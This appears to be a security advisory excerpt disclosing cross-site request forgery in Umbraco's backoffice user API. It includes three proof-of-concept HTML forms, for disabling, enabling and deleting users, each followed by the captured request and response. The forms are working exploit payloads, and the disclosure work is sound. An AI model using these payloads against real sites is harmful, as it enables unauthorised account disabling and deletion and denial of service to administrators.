Vulnerability overview/description:
-----------------------------------
1) Cross-Site Request Forgery (CSRF)
An attacker can use cross-site request forgery to perform arbitrary web
requests with the identity of the victim, without being noticed by the
victim. This attack always requires some sort of user interaction, usually
the victim needs to click on an attacker-prepared link or visit a page
under control of the attacker. Due to this, an attacker is able to
enable/disable or delete accounts. This may lead to DoS of user accounts.
Proof of concept:
-----------------
1) Cross-Site Request Forgery (CSRF)
In a live attack scenario, the following HTML document would be hosted
on a malicious website, controlled by the attacker.
Example 1: HTML-code for disabling user:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID>" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Request:
--------
POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
Response:
---------
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT

Connection: close
)]}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3}],"message":"<USERNAME> is now disabled"}
Example 2: HTML-code for enabling user:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID>" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Request:
--------
POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userIds=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
Response:
---------
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close
)]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}],"message":"<USERNAME> is now enabled"}
Example 3: HTML-code for deleting user:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>" method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Request:
--------
POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
Response:
---------
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close
)]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}],"message":"User <USERNAME> was deleted"}
As soon as an authenticated victim (admin) visits a website with this HTML code
embedded, the payload would get executed in the context of the victim's
session. Although responses to these requests are not delivered to the
attacker, in many cases it is sufficient to be able to compromise the
integrity of the victim's information stored on the site or to perform
certain, possibly compromising requests to other sites.
